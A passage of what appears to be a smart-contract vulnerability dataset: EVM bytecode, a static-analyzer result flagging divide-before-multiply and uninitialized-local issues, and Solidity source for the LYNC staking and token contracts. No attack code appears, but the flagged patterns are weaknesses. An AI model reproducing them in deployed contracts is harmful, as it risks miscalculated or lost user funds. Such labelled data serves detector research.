fffffffffffff168152602001908152602001600020819055507f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f700010281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610d5a600654610d4d42600a5461126b565b10156000600a5414612276565b610daf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127a26024913960400191505060405180910390fd5b6000610dbf600a54600654611ba4565b905042600a81905550600080600090505b600d80549050811015610f0657610ef782600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fabde80c600d8581548110610e2c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610eb757600080fd5b505afa158015610ecb573d6000803e3d6000fd5b505050506040513d6020811015610ee157600080fd5b8101908080519060200190929190505050611339565b91508080600101915050610dd0565b506000610fb5600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638543d5e06040518163ffffffff1660e01b815260040160206040518083038186803b158015610f7457600080fd5b505afa158015610f88573d6000803e3d6000fd5b505050506040513d6020811015610f9e57600080fd5b81019080805190602001909291905050508361126b565b905061106381600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631d2a783d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561102357600080fd5b505afa158015611037573d6000803e3d6000fd5b505050506040513d602081101561104d57600080fd5b810190808051906020019092919050505061126b565b9050600061107d6064838161107457fe5b04600854610a44565b90506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633c7999576040518163ffffffff1660e01b815260040160206040518083038186803b1580156110e957600080fd5b505afa1580156110fd573d6000803e3d6000fd5b505050506040513d602081101561111357600080fd5b81019080805190602001909291905050509050600954821115611136578161113a565b6009545b91506000821461114a578161116c565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff5b915080821061117b578161117d565b805b9150600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe4f5890836040518263ffffffff1660e01b815260040180807f6f6e41756374696f6e53797374656d436f696e4c696d69740000000000000000815250602001828152602001915050600060405180830381600087803b15801561121c57600080fd5b505af1158015611230573d6000803e3d6000fd5b5050505061123e8686612283565b505050505050565b6000670de0b6b3a764000061125b8484610a44565b8161126257fe5b04905092915050565b60008183039050828111156112e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f75696e742d75696e742d7375622d756e646572666c6f7700000000000000000081525060200191505060405180910390fd5b92915050565b60045481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611332826b033b2e3c9fd0803ce8000000610a44565b9050919050565b60008183019050828110156113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75696e742d75696e742d6164642d6f766572666c6f770000000000000000000081525060200191505060405180910390fd5b92915050565b6b033b2e3c9fd0803ce800000081565b60065481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461148f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806128466036913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611515576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127c66024913960400191505060405180910390fd5b7f747265617375727900000000000000000000000000000000000000000000000082141561168957600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b15801561159b57600080fd5b505afa1580156115af573d6000803e3d6000fd5b505050506040513d60208110156115c557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415611643576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806128166030913960400191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611749565b7f6c69717569646174696f6e456e67696e650000000000000000000000000000008214156116f75780600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611748565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806126db6034913960400191505060405180910390fd5b5b7fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d18282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b670de0b6b3a764000081565b61180f60075461180242600a5461126b565b10156000600a5411612630565b611864576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127a26024913960400191505060405180910390fd5b42600a81905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe4f58907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518263ffffffff1660e01b815260040180807f6f6e41756374696f6e53797374656d436f696e4c696d69740000000000000000815250602001828152602001915050600060405180830381600087803b15801561192857600080fd5b505af115801561193c573d6000803e3d6000fd5b50505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806128466036913960400191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b90381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600081611a9c846b033b2e3c9fd0803ce8000000610a44565b81611aa357fe5b04905092915050565b60075481565b60095481565b600a5481565b60085481565b60008360008114611b6a576002840660008114611ae357859250611ae7565b8392505b50600283046002850494505b8415611b64578586028687820414611b0a57600080fd5b81810181811015611b1a57600080fd5b85810497506002870615611b57578785028589820414158915151615611b3f57600080fd5b83810181811015611b4f57600080fd5b878104965050505b5050600285049450611af3565b50611b82565b8360008114611b7c5760009250611b80565b8392505b505b509392505050565b600081831115611b9a5781611b9c565b825b905092915050565b6000806000600154148015611bbb57506000600254145b9050611bca4285101582612276565b15611bd9576000915050611cb0565b6000808514611bf157611bec428661126b565b611bf3565b835b9050611c06848210600060015414612276565b15611c1657600092505050611cb0565b6000611c22828661126b565b90506000611c4e6002546b033b2e3c9fd0803ce8000000611c41610afd565b81611c4857fe5b04611b8a565b9050600354821115611c665780945050505050611cb0565b600060015490506000831115611c9b57611c98611c92600454856b033b2e3c9fd0803ce8000000611ac4565b82610a04565b90505b81811115611ca7578190505b80955050505050505b92915050565b600081611ccb84670de0b6b3a7640000610a44565b81611cd257fe5b04905092915050565b600d8181548110611ce857fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611dae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806128466036913960400191505060405180910390fd5b7f6261736555706461746543616c6c657252657761726400000000000000000000821415611e3d57600254811115611e31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d81526020018061270f602d913960400191505060405180910390fd5b80600181905550612233565b7f6d617855706461746543616c6c65725265776172640000000000000000000000821415611ecc57600154811015611ec0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612775602d913960400191505060405180910390fd5b80600281905550612232565b7f7065725365636f6e6443616c6c6572526577617264496e637265617365000000821415611f65576b033b2e3c9fd0803ce8000000811015611f59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806126a96032913960400191505060405180910390fd5b80600481905550612231565b7f6d6178526577617264496e63726561736544656c617900000000000000000000821415611ff25760008111611fe6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603581526020018061263e6035913960400191505060405180910390fd5b80600381905550612230565b7f75706461746544656c617900000000000000000000000000000000000000000082141561207f5760008111612073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806127ea602c913960400191505060405180910390fd5b8060068190555061222f565b7f6261636b757055706461746544656c617900000000000000000000000000000082141561210d576006548111612101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806126736036913960400191505060405180910390fd5b8060078190555061222e565b7f676c6f62616c4465627450657263656e746167650000000000000000000000008214156121a757612146600082116064831115612630565b61219b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603981526020018061273c6039913960400191505060405180910390fd5b8060088190555061222d565b7f6d696e41756374696f6e4c696d697400000000000000000000000000000000008214156121db578060098190555061222c565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806126db6034913960400191505060405180910390fd5b5b5b5b5b5b5b5b7fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a8282604051808381526020018281526020019250505060405180910390a15050565b6000818317905092915050565b8173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122de5761262c565b61233c600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161460008314612276565b156123465761262c565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146123815782612383565b335b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663201add9b82600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b15801561242c57600080fd5b505afa158015612440573d6000803e3d6000fd5b505050506040513d602081101561245657600080fd5b8101908080519060200190929190505050856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561250457600080fd5b505af1925050508015612515575060015b612629573d8060008114612545576040519150601f19603f3d011682016040523d82523d6000602084013e61254a565b606091505b507ff7bf1f7447ce563690edb2abe40636178ff64fc766b07bf3e171b16102794a5481838560405180806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019080838360005b838110156125e75780820151818401526020810190506125cc565b50505050905090810190601f1680156126145780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15061262a565b5b505b5050565b600081831690509291505056fe436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6d61782d696e6372656173652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6261636b75702d7570646174652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d7265776172642d696e637265617365436f6c6c61746572616c41756374696f6e5468726f74746c65722f6d6f646966792d756e7265636f676e697a65642d706172616d436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6d696e2d726577617264436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d676c6f62616c2d646562742d70657263656e74616765436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6d61782d726577617264436f6c6c61746572616c41756374696f6e5468726f74746c65722f776169742d6d6f7265436f6c6c61746572616c41756374696f6e5468726f74746c65722f6e756c6c2d61646472436f6c6c61746572616c41756374696f6e5468726f74746c65722f6e756c6c2d7570646174652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f74726561737572792d636f696e2d6e6f742d736574496e6372656173696e6754726561737572795265696d62757273656d656e742f6163636f756e742d6e6f742d617574686f72697a6564a2646970667358221220c5c529c9358e947fa3d754447266c56bb41346f5b73447ee359ef7b5054ee0ba64736f6c63430006070033496e6372656173696e6754726561737572795265696d62757273656d656e742f696e76616c69642d7065722d7365636f6e642d7265776172642d696e637265617365436f6c6c61746572616c41756374696f6e5468726f74746c65722f6e756c6c2d736166652d656e67696e65436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6261636b75702d7570646174652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d686f6c6465722d61727261792d6c656e677468436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d676c6f62616c2d646562742d70657263656e74616765436f6c6c61746572616c41756374696f6e5468726f74746c65722f6e756c6c2d6c69717569646174696f6e2d656e67696e65496e6372656173696e6754726561737572795265696d62757273656d656e742f74726561737572792d636f696e2d6e6f742d736574436f6c6c61746572616c41756374696f6e5468726f74746c65722f6e756c6c2d7570646174652d64656c6179496e6372656173696e6754726561737572795265696d62757273656d656e742f696e76616c69642d6d61782d63616c6c65722d726577617264a2646970667358221220e4612339d3500e8392e1fe898726cbf067b01a81d901e1f73cff8ff7762725f764736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,339 |
0x5659668B6323eC0360fBDa5624B8247D443d3Dd9
|
pragma solidity 0.7.2;
contract LYNCStakingV1 {
//Enable SafeMath
using SafeMath for uint256;
address public owner;
address public contractAddress;
uint256 public totalRewards = 0;
uint256 public totalRewardsClaimed = 0;
uint256 public totalStakedV1 = 0;
uint256 public oneDay = 86400; // in seconds
uint256 public SCALAR = 1e18; // multiplier
uint256 public minimumTokenStake = 98; // takes into account transfer fee
uint256 public endOfStakeFee = 4; // 4% including 1% tx fee = approx 5%
LYNCToken public tokenContract;
//Events
event Stake(address _from, uint256 tokens);
event Unstake(address _to, uint256 tokens);
event UnstakeFee(address _to, uint256 tokens);
event CollectRewards(address _to, uint256 tokens);
//User data
struct Staker {
uint256 staked;
uint256 poolAtLastClaim;
uint256 userTimeStamp;
}
//Mappings
mapping(address => Staker) stakers;
//On deployment
constructor(LYNCToken _tokenContract) {
owner = msg.sender;
tokenContract = _tokenContract;
contractAddress = address(this);
}
//MulDiv functions : source https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
function mulDiv(uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod(x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
//Required for MulDiv
function fullMul(uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod(x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
//Return current reward pool unclaimed
function rewardPoolBalance() public view returns(uint256) {
return tokenContract.balanceOf(address(this)).sub(totalStakedV1);
}
//Return staker information
function stakerInformation(address _stakerAddress) public view returns(uint256, uint256, uint256) {
return (stakers[_stakerAddress].staked, stakers[_stakerAddress].poolAtLastClaim, stakers[_stakerAddress].userTimeStamp);
}
//Stake tokens
function stakeTokens(uint256 _numberOfTokens) external returns (bool) {
//Check if user is already staking
if(stakers[msg.sender].staked == 0) {
//Require minimum stake
require(_numberOfTokens > (minimumTokenStake * SCALAR), "Not enough tokens to start staking");
//Transfer tokens and update data
require(tokenContract.transferFrom(msg.sender, address(this), _numberOfTokens));
stakers[msg.sender].poolAtLastClaim = totalRewards;
stakers[msg.sender].userTimeStamp = block.timestamp;
} else {
//Transfer tokens
require(tokenContract.transferFrom(msg.sender, address(this), _numberOfTokens));
}
//Update staking totals
uint256 _feeAmount = (_numberOfTokens.mul(tokenContract.feePercent())).div(100);
uint256 _stakedAfterFee = _numberOfTokens.sub(_feeAmount);
//Update data
stakers[msg.sender].staked = (stakers[msg.sender].staked).add(_stakedAfterFee);
totalStakedV1 = totalStakedV1.add(_stakedAfterFee);
totalRewards = rewardPoolBalance().add(totalRewardsClaimed);
emit Stake(msg.sender, _numberOfTokens);
return true;
}
//Unstake tokens
function unstakeTokens() external returns (bool) {
//Minus 4% fee for unstaking
uint256 _stakedTokens = stakers[msg.sender].staked;
uint256 _feeAmount = (_stakedTokens.mul(endOfStakeFee)).div(100);
uint256 _unstakeTokens = (stakers[msg.sender].staked).sub(_feeAmount);
//Send stakers tokens and remove from total staked
require(tokenContract.transfer(msg.sender, _unstakeTokens));
totalStakedV1 = totalStakedV1.sub(_stakedTokens);
//Update data
stakers[msg.sender].staked = 0;
stakers[msg.sender].poolAtLastClaim = 0;
stakers[msg.sender].userTimeStamp = 0;
totalRewards = rewardPoolBalance().add(totalRewardsClaimed);
emit Unstake(msg.sender, _unstakeTokens);
emit UnstakeFee(msg.sender, _feeAmount);
return true;
}
//Claim current token rewards
function claimRewards() external returns (bool) {
totalRewards = rewardPoolBalance().add(totalRewardsClaimed);
require(stakers[msg.sender].staked > 0, "You do not have any tokens staked");
require(block.timestamp > (stakers[msg.sender].userTimeStamp + oneDay), "You can only claim 24 hours after staking and once every 24 hours");
//Calculated user share of reward pool since last claim
uint256 _poolSinceLastClaim = totalRewards.sub(stakers[msg.sender].poolAtLastClaim);
uint256 _rewardPercent = mulDiv(stakers[msg.sender].staked, 10000, totalStakedV1);
uint256 _rewardToClaim = mulDiv(_poolSinceLastClaim, _rewardPercent, 10000);
//Send tokens
require(tokenContract.transfer(msg.sender, _rewardToClaim));
//Update data
stakers[msg.sender].poolAtLastClaim = totalRewards;
stakers[msg.sender].userTimeStamp = block.timestamp;
totalRewardsClaimed = totalRewardsClaimed.add(_rewardToClaim);
totalRewards = rewardPoolBalance().add(totalRewardsClaimed);
emit CollectRewards(msg.sender, _rewardToClaim);
return true;
}
//Update the minimum tokens to start staking
function updateStakeMinimum(uint256 _minimumTokenStake) public onlyOwner {
minimumTokenStake = _minimumTokenStake;
}
//Modifiers
modifier onlyOwner() {
require(owner == msg.sender, "Only current owner can call this function");
_;
}
}
contract LYNCToken {
//Enable SafeMath
using SafeMath for uint256;
//Token details
string constant public name = "LYNC Network";
string constant public symbol = "LYNC";
uint8 constant public decimals = 18;
//Reward pool and owner address
address public owner;
address public rewardPoolAddress;
//Supply and tranasction fee
uint256 public maxTokenSupply = 1e24; // 1,000,000 tokens
uint256 public feePercent = 1; // initial transaction fee percentage
uint256 public feePercentMax = 10; // maximum transaction fee percentage
//Events
event Transfer(address indexed _from, address indexed _to, uint256 _tokens);
event Approval(address indexed _owner,address indexed _spender, uint256 _tokens);
event TranserFee(uint256 _tokens);
event UpdateFee(uint256 _fee);
event RewardPoolUpdated(address indexed _rewardPoolAddress, address indexed _newRewardPoolAddress);
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
event OwnershipRenounced(address indexed _previousOwner, address indexed _newOwner);
//Mappings
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) private allowances;
//On deployment
constructor () {
owner = msg.sender;
rewardPoolAddress = address(this);
balanceOf[msg.sender] = maxTokenSupply;
emit Transfer(address(0), msg.sender, maxTokenSupply);
}
//ERC20 totalSupply
function totalSupply() public view returns (uint256) {
return maxTokenSupply;
}
//ERC20 transfer
function transfer(address _to, uint256 _tokens) public returns (bool) {
transferWithFee(msg.sender, _to, _tokens);
return true;
}
//ERC20 transferFrom
function transferFrom(address _from, address _to, uint256 _tokens) public returns (bool) {
require(_tokens <= balanceOf[_from], "Not enough tokens in the approved address balance");
require(_tokens <= allowances[_from][msg.sender], "token amount is larger than the current allowance");
transferWithFee(_from, _to, _tokens);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_tokens);
return true;
}
//ERC20 approve
function approve(address _spender, uint256 _tokens) public returns (bool) {
allowances[msg.sender][_spender] = _tokens;
emit Approval(msg.sender, _spender, _tokens);
return true;
}
//ERC20 allowance
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
//Transfer with transaction fee applied
function transferWithFee(address _from, address _to, uint256 _tokens) internal returns (bool) {
require(balanceOf[_from] >= _tokens, "Not enough tokens in the senders balance");
uint256 _feeAmount = (_tokens.mul(feePercent)).div(100);
balanceOf[_from] = balanceOf[_from].sub(_tokens);
balanceOf[_to] = balanceOf[_to].add(_tokens.sub(_feeAmount));
balanceOf[rewardPoolAddress] = balanceOf[rewardPoolAddress].add(_feeAmount);
emit Transfer(_from, _to, _tokens.sub(_feeAmount));
emit Transfer(_from, rewardPoolAddress, _feeAmount);
emit TranserFee(_tokens);
return true;
}
//Update transaction fee percentage
function updateFee(uint256 _updateFee) public onlyOwner {
require(_updateFee <= feePercentMax, "Transaction fee cannot be greater than 10%");
feePercent = _updateFee;
emit UpdateFee(_updateFee);
}
//Update the reward pool address
function updateRewardPool(address _newRewardPoolAddress) public onlyOwner {
require(_newRewardPoolAddress != address(0), "New reward pool address cannot be a zero address");
rewardPoolAddress = _newRewardPoolAddress;
emit RewardPoolUpdated(rewardPoolAddress, _newRewardPoolAddress);
}
//Transfer current token balance to the reward pool address
function rewardPoolBalanceTransfer() public onlyOwner returns (bool) {
uint256 _currentBalance = balanceOf[address(this)];
transferWithFee(address(this), rewardPoolAddress, _currentBalance);
return true;
}
//Transfer ownership to new owner
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "New owner cannot be a zero address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
//Remove owner from the contract
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner, address(0));
owner = address(0);
}
//Modifiers
modifier onlyOwner() {
require(owner == msg.sender, "Only current owner can call this function");
_;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80637547c7a3116100a2578063a5ce413b11610071578063a5ce413b14610314578063aa9a091214610334578063caaf94f51461038a578063f6b4dfb4146103a8578063fe8b1cce146103dc5761010b565b80637547c7a3146102605780637a5c08ae146102a45780638da5cb5b146102c2578063a34b0f76146102f65761010b565b80634bd9351b116100de5780634bd9351b1461018a57806355a373d6146101a85780636bf301a4146101dc5780637033c04e146101fa5761010b565b806304dd1be5146101105780630e15561a1461012e578063372500ab1461014c5780634a023dc91461016c575b600080fd5b61011861040a565b6040518082815260200191505060405180910390f35b610136610410565b6040518082815260200191505060405180910390f35b610154610416565b60405180821515815260200191505060405180910390f35b610174610837565b6040518082815260200191505060405180910390f35b61019261083d565b6040518082815260200191505060405180910390f35b6101b0610843565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101e4610869565b6040518082815260200191505060405180910390f35b61023c6004803603602081101561021057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086f565b60405180848152602001838152602001828152602001935050505060405180910390f35b61028c6004803603602081101561027657600080fd5b810190808035906020019092919050505061094a565b60405180821515815260200191505060405180910390f35b6102ac610e8f565b6040518082815260200191505060405180910390f35b6102ca610f6e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102fe610f92565b6040518082815260200191505060405180910390f35b61031c610f98565b60405180821515815260200191505060405180910390f35b6103746004803603606081101561034a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611305565b6040518082815260200191505060405180910390f35b6103926113e3565b6040518082815260200191505060405180910390f35b6103b06113e9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610408600480360360208110156103f257600080fd5b810190808035906020019092919050505061140f565b005b60045481565b60025481565b6000610434600354610426610e8f565b6114bd90919063ffffffff16565b6002819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154116104d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118e66021913960400191505060405180910390fd5b600554600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154014211610573576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260418152602001806118a56041913960600191505060405180910390fd5b60006105cc600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015460025461154590919063ffffffff16565b90506000610621600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154612710600454611305565b905060006106328383612710611305565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106c757600080fd5b505af11580156106db573d6000803e3d6000fd5b505050506040513d60208110156106f157600080fd5b810190808051906020019092919050505061070b57600080fd5b600254600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555042600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055506107b0816003546114bd90919063ffffffff16565b6003819055506107d26003546107c4610e8f565b6114bd90919063ffffffff16565b6002819055507f2a2d1456672a2b5013c6d74f8677f133bbf5f7d5bb6be09231f7814782b9a7173382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001935050505090565b60085481565b60055481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6000806000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600a60008673fffffffffff